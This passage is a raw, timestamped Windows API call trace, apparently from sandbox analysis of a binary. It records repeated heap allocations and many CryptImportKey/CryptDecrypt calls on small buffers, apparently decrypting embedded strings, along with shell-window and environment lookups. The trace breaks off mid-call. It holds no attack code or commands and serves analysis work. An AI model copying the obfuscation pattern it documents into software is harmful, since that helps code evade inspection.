RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fec948 [0062.664] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef290) returned 1 [0062.664] CryptDecrypt (in: hKey=0x2fef290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fec948, pdwDataLen=0x18f7d8 | out: pbData=0x2fec948, pdwDataLen=0x18f7d8) returned 1 [0062.664] CryptDestroyKey (hKey=0x2fef290) returned 1 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef3c0 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xe) returned 0x2feec88 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec948 | out: hHeap=0x2fd0000) returned 1 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4) returned 0x2fef3d0 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fec948 [0062.664] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef290) returned 1 [0062.664] CryptDecrypt (in: hKey=0x2fef290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fec948, pdwDataLen=0x18f7d8 | out: pbData=0x2fec948, pdwDataLen=0x18f7d8) returned 1 [0062.664] CryptDestroyKey (hKey=0x2fef290) returned 1 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef3e0 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1a) returned 0x2fec970 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec948 | out: hHeap=0x2fd0000) returned 1 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4) returned 0x2fef3f0 [0062.664] GetProcessHeap () returned 0x2fd0000 [0062.664] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1a0) returned 0x2fef768 [0062.664] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef290) returned 1 [0062.664] CryptDecrypt (in: hKey=0x2fef290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fef768, pdwDataLen=0x18f7d8 | out: pbData=0x2fef768, pdwDataLen=0x18f7d8) returned 1 [0062.664] CryptDestroyKey (hKey=0x2fef290) returned 1 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef400 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef410 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef420 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef430 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef440 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef450 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef460 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef470 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef480 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xc) returned 0x2feeca0 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef490 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xc) returned 0x2feecb8 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef4a0 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xc) returned 0x2feecd0 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef4b0 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef4c0 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef4d0 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef4e0 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef4f0 [0062.665] GetProcessHeap () returned 0x2fd0000 [0062.665] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef500 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef510 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x6) returned 0x2fef520 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef530 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x16) returned 0x2fef290 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef540 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xe) returned 0x2feece8 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef550 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xe) returned 0x2feed00 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef560 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef570 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef580 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef590 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef5a0 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef5b0 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef5c0 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef5d0 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef5e0 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef5f0 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef600 [0062.666] GetProcessHeap () returned 0x2fd0000 [0062.666] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef610 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef620 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef630 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef640 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef650 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef660 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef670 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef680 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa) returned 0x2feed18 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef690 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef6a0 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef6b0 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef6c0 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef6d0 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef6e0 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef6f0 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa) returned 0x2feed30 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef700 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef710 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef720 [0062.667] GetProcessHeap () returned 0x2fd0000 [0062.667] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef928 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef938 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef948 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef958 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef968 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef978 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef988 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef998 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef9a8 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef9b8 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef9c8 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef9d8 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa) returned 0x2feed48 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef9e8 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fef9f8 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa08 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x12) returned 0x2fef2b0 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa18 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x10) returned 0x2feed60 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa28 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.668] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xe) returned 0x2feed78 [0062.668] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa38 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa48 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa58 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa) returned 0x2feed90 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa68 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xa) returned 0x2feeda8 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef768 | out: hHeap=0x2fd0000) returned 1 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4) returned 0x2fefa78 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xc0) returned 0x2fef768 [0062.669] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef2d0) returned 1 [0062.669] CryptDecrypt (in: hKey=0x2fef2d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fef768, pdwDataLen=0x18f7d8 | out: pbData=0x2fef768, pdwDataLen=0x18f7d8) returned 1 [0062.669] CryptDestroyKey (hKey=0x2fef2d0) returned 1 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa88 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xc) returned 0x2feedc0 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefa98 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0xe) returned 0x2feedd8 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefaa8 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x14) returned 0x2fef2d0 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefab8 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x16) returned 0x2fef2f0 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefac8 [0062.669] GetProcessHeap () returned 0x2fd0000 [0062.669] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fec948 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefad8 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x22) returned 0x2fef830 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefae8 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefaf8 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefb08 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1a) returned 0x2fec998 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefb18 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefb28 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefb38 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefb48 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef768 | out: hHeap=0x2fd0000) returned 1 [0062.670] GetProcessHeap () returned 0x2fd0000 [0062.670] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x24) returned 0x2fef860 [0062.670] GetShellWindow () returned 0x100f2 [0062.670] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x419a58 | out: lpdwProcessId=0x419a58) returned 0x458 [0062.696] GetProcessHeap () returned 0x2fd0000 [0062.696] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2fec9e8 [0062.696] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef890) returned 1 [0062.696] CryptDecrypt (in: hKey=0x2fef890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fec9e8, pdwDataLen=0x18f7d8 | out: pbData=0x2fec9e8, pdwDataLen=0x18f7d8) returned 1 [0062.696] CryptDestroyKey (hKey=0x2fef890) returned 1 [0062.696] GetProcessHeap () returned 0x2fd0000 [0062.696] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2feca10 [0062.696] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef890) returned 1 [0062.696] CryptDecrypt (in: hKey=0x2fef890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2feca10, pdwDataLen=0x18f7d8 | out: pbData=0x2feca10, pdwDataLen=0x18f7d8) returned 1 [0062.696] CryptDestroyKey (hKey=0x2fef890) returned 1 [0062.696] GetProcessHeap () returned 0x2fd0000 [0062.696] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2feca38 [0062.696] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef890) returned 1 [0062.696] CryptDecrypt (in: hKey=0x2fef890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2feca38, pdwDataLen=0x18f7d8 | out: pbData=0x2feca38, pdwDataLen=0x18f7d8) returned 1 [0062.696] CryptDestroyKey (hKey=0x2fef890) returned 1 [0062.696] GetProcessHeap () returned 0x2fd0000 [0062.696] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2feca60 [0062.696] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f548, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef890) returned 1 [0062.696] CryptDecrypt (in: hKey=0x2fef890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2feca60, pdwDataLen=0x18f5b4 | out: pbData=0x2feca60, pdwDataLen=0x18f5b4) returned 1 [0062.696] CryptDestroyKey (hKey=0x2fef890) returned 1 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x60) returned 0x2fef890 [0062.697] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f548, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef768) returned 1 [0062.697] CryptDecrypt (in: hKey=0x2fef768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fef890, pdwDataLen=0x18f5b4 | out: pbData=0x2fef890, pdwDataLen=0x18f5b4) returned 1 [0062.697] CryptDestroyKey (hKey=0x2fef768) returned 1 [0062.697] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f5b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feca60 | out: hHeap=0x2fd0000) returned 1 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x20) returned 0x2feca60 [0062.697] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f548, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef768) returned 1 [0062.697] CryptDecrypt (in: hKey=0x2fef768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2feca60, pdwDataLen=0x18f5b4 | out: pbData=0x2feca60, pdwDataLen=0x18f5b4) returned 1 [0062.697] CryptDestroyKey (hKey=0x2fef768) returned 1 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x60) returned 0x2fef768 [0062.697] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f548, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef7d0) returned 1 [0062.697] CryptDecrypt (in: hKey=0x2fef7d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fef768, pdwDataLen=0x18f5b4 | out: pbData=0x2fef768, pdwDataLen=0x18f5b4) returned 1 [0062.697] CryptDestroyKey (hKey=0x2fef7d0) returned 1 [0062.697] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f5b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feca60 | out: hHeap=0x2fd0000) returned 1 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x1e) returned 0x2feca60 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x12) returned 0x2fef310 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x8) returned 0x2fefb58 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x40) returned 0x2fecfc0 [0062.697] GetProcessHeap () returned 0x2fd0000 [0062.697] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x80) returned 0x2fefd10 [0062.698] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef7d0) returned 1 [0062.698] CryptDecrypt (in: hKey=0x2fef7d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2fefd10, pdwDataLen=0x18f7d8 | out: pbData=0x2fefd10, pdwDataLen=0x18f7d8) returned 1 [0062.698] CryptDestroyKey (hKey=0x2fef7d0) returned 1 [0062.698] GetProcessHeap () returned 0x2fd0000 [0062.698] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x80) returned 0x2fefd98 [0062.698] CryptImportKey (in: hProv=0x2fece38, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fec2c4 | out: phKey=0x2fec2c4*=0x2fef7d0) returned 1 [0062.698] CryptDecrypt (in: 